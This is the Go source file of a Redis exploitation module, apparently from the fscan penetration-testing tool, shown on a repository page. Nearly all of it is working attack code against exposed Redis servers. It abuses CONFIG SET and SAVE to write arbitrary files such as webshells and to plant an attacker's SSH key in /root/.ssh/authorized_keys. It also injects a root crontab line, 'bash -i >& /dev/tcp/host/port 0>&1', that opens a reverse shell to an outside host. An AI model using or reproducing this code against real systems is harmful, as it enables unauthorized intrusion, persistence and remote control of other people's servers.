fscan/Plugins/services/redis/exploiter.go
ZacharyZcR f097d2812a refactor: 清理项目死代码和未使用函数
- 移除所有未使用的generateCredentials方法
- 删除插件适配器中的过时函数
- 清理MySQL连接器中的无用方法
- 移除Redis利用器中的未调用函数
- 删除遗留加密函数和基础扫描器无用方法
- 完全移除未注册的VNC插件
- 优化代码结构,提升项目可维护性

清理统计: 移除25+个死代码函数,减少400+行无用代码
2025-08-12 11:51:36 +08:00

361 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package redis
import (
"bufio"
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"os"
"path/filepath"
"strings"
)
// RedisExploiter Redis利用器实现
type RedisExploiter struct {
*base.BaseExploiter
connector *RedisConnector
}
// NewRedisExploiter 创建Redis利用器
func NewRedisExploiter() *RedisExploiter {
exploiter := &RedisExploiter{
BaseExploiter: base.NewBaseExploiter("redis"),
connector: NewRedisConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *RedisExploiter) setupExploitMethods() {
// 1. 任意文件写入 - 只有提供了-rwp和(-rwc或-rwf)参数时才启用
if common.RedisWritePath != "" && (common.RedisWriteContent != "" || common.RedisWriteFile != "") {
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "arbitrary_file_write").
WithDescription("利用Redis写入任意文件").
WithPriority(10).
WithConditions(). // Redis支持未授权访问不需要凭据条件
WithHandler(e.exploitArbitraryFileWrite).
Build()
e.AddExploitMethod(fileWriteMethod)
}
// 2. SSH密钥写入 - 只有提供了-rf参数时才启用
if common.RedisFile != "" {
sshKeyMethod := base.NewExploitMethod(base.ExploitFileWrite, "ssh_key_write").
WithDescription("写入SSH公钥到authorized_keys").
WithPriority(9).
WithConditions(). // Redis支持未授权访问不需要凭据条件
WithHandler(e.exploitSSHKeyWrite).
Build()
e.AddExploitMethod(sshKeyMethod)
}
// 3. Crontab定时任务 - 只有提供了-rs参数时才启用
if common.RedisShell != "" {
cronMethod := base.NewExploitMethod(base.ExploitCommandExec, "crontab_injection").
WithDescription("注入Crontab定时任务").
WithPriority(9).
WithConditions(). // Redis支持未授权访问不需要凭据条件
WithHandler(e.exploitCrontabInjection).
Build()
e.AddExploitMethod(cronMethod)
}
}
// exploitArbitraryFileWrite 任意文件写入利用
func (e *RedisExploiter) exploitArbitraryFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
// 检查是否配置了文件写入参数
if common.RedisWritePath == "" || (common.RedisWriteContent == "" && common.RedisWriteFile == "") {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("未配置文件写入参数")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "arbitrary_file_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 确定文件内容
var content string
if common.RedisWriteContent != "" {
content = common.RedisWriteContent
} else if common.RedisWriteFile != "" {
fileData, err := os.ReadFile(common.RedisWriteFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("读取文件失败: %v", err)), nil
}
content = string(fileData)
}
// 执行文件写入
dirPath := filepath.Dir(common.RedisWritePath)
fileName := filepath.Base(common.RedisWritePath)
success, msg, err := e.writeFileToRedis(redisConn, dirPath, fileName, content)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, i18n.GetText("redis_webshell_written", common.RedisWritePath))
base.AddFileToResult(result, common.RedisWritePath)
return result, nil
}
// exploitSSHKeyWrite SSH密钥写入利用
func (e *RedisExploiter) exploitSSHKeyWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisFile == "" {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("未指定SSH密钥文件")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "ssh_key_write")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 读取SSH密钥
keyData, err := e.readFirstNonEmptyLine(common.RedisFile)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("读取SSH密钥失败: %v", err)), nil
}
// 写入SSH密钥
success, msg, err := e.writeSSHKey(redisConn, keyData)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, "成功写入SSH密钥到 /root/.ssh/authorized_keys")
base.AddFileToResult(result, "/root/.ssh/authorized_keys")
return result, nil
}
// exploitCrontabInjection Crontab注入利用
func (e *RedisExploiter) exploitCrontabInjection(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
if common.RedisShell == "" {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("未指定反弹Shell地址")), nil
}
conn, err := e.connectToRedis(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
defer e.connector.Close(conn)
redisConn := conn.(*RedisConnection)
result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "crontab_injection")
// 备份原始配置
originalConfig := &RedisConfig{
DBFilename: redisConn.config.DBFilename,
Dir: redisConn.config.Dir,
}
defer e.connector.RestoreConfig(redisConn, originalConfig)
// 写入Crontab任务
success, msg, err := e.writeCrontab(redisConn, common.RedisShell)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil
}
if !success {
return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection",
fmt.Errorf("写入失败: %s", msg)), nil
}
base.AddOutputToResult(result, i18n.GetText("redis_cron_job_written", common.RedisShell))
// 创建Shell信息
shellParts := strings.Split(common.RedisShell, ":")
if len(shellParts) == 2 {
result.Shell = &base.ShellInfo{
Type: "reverse",
Host: shellParts[0],
Port: 0, // 端口需要解析
}
}
return result, nil
}
// 已移除未使用的 exploitDataExtraction 方法
// 已移除未使用的 exploitInfoGathering 方法
// =============================================================================
// Redis操作辅助函数
// =============================================================================
// connectToRedis 连接到Redis
func (e *RedisExploiter) connectToRedis(ctx context.Context, info *common.HostInfo, creds *base.Credential) (interface{}, error) {
conn, err := e.connector.Connect(ctx, info)
if err != nil {
return nil, err
}
err = e.connector.Authenticate(ctx, conn, creds)
if err != nil {
e.connector.Close(conn)
return nil, err
}
return conn, nil
}
// writeFileToRedis 通过Redis写入文件
func (e *RedisExploiter) writeFileToRedis(conn *RedisConnection, dirPath, fileName, content string) (bool, string, error) {
// 设置目录
if err := e.connector.SetConfig(conn, "dir", dirPath); err != nil {
return false, "设置目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", fileName); err != nil {
return false, "设置文件名失败", err
}
// 写入内容
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if err := e.connector.SetKey(conn, "x", safeContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeSSHKey 写入SSH密钥
func (e *RedisExploiter) writeSSHKey(conn *RedisConnection, keyData string) (bool, string, error) {
// 设置SSH目录
if err := e.connector.SetConfig(conn, "dir", "/root/.ssh/"); err != nil {
return false, "设置SSH目录失败", err
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "authorized_keys"); err != nil {
return false, "设置文件名失败", err
}
// 写入密钥(前后添加换行符避免格式问题)
keyContent := fmt.Sprintf("\\n\\n\\n%s\\n\\n\\n", keyData)
if err := e.connector.SetKey(conn, "x", keyContent); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// writeCrontab 写入Crontab任务
func (e *RedisExploiter) writeCrontab(conn *RedisConnection, shellTarget string) (bool, string, error) {
// 解析Shell目标
parts := strings.Split(shellTarget, ":")
if len(parts) != 2 {
return false, "Shell目标格式错误", fmt.Errorf("格式应为 host:port")
}
shellHost, shellPort := parts[0], parts[1]
// 先尝试Ubuntu路径
if err := e.connector.SetConfig(conn, "dir", "/var/spool/cron/crontabs/"); err != nil {
// 尝试CentOS路径
if err2 := e.connector.SetConfig(conn, "dir", "/var/spool/cron/"); err2 != nil {
return false, "设置Cron目录失败", err2
}
}
// 设置文件名
if err := e.connector.SetConfig(conn, "dbfilename", "root"); err != nil {
return false, "设置文件名失败", err
}
// 写入Crontab任务
cronTask := fmt.Sprintf("\\n* * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n", shellHost, shellPort)
if err := e.connector.SetKey(conn, "xx", cronTask); err != nil {
return false, "设置键值失败", err
}
// 保存
if err := e.connector.Save(conn); err != nil {
return false, "保存失败", err
}
return true, "成功", nil
}
// readFirstNonEmptyLine 读取文件的第一行非空内容
func (e *RedisExploiter) readFirstNonEmptyLine(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
return line, nil
}
}
return "", fmt.Errorf("文件为空或无内容")
}
// 已移除未使用的 getAllKeys 方法
// 已移除未使用的 getKeyValue 方法
// 已移除未使用的 min 函数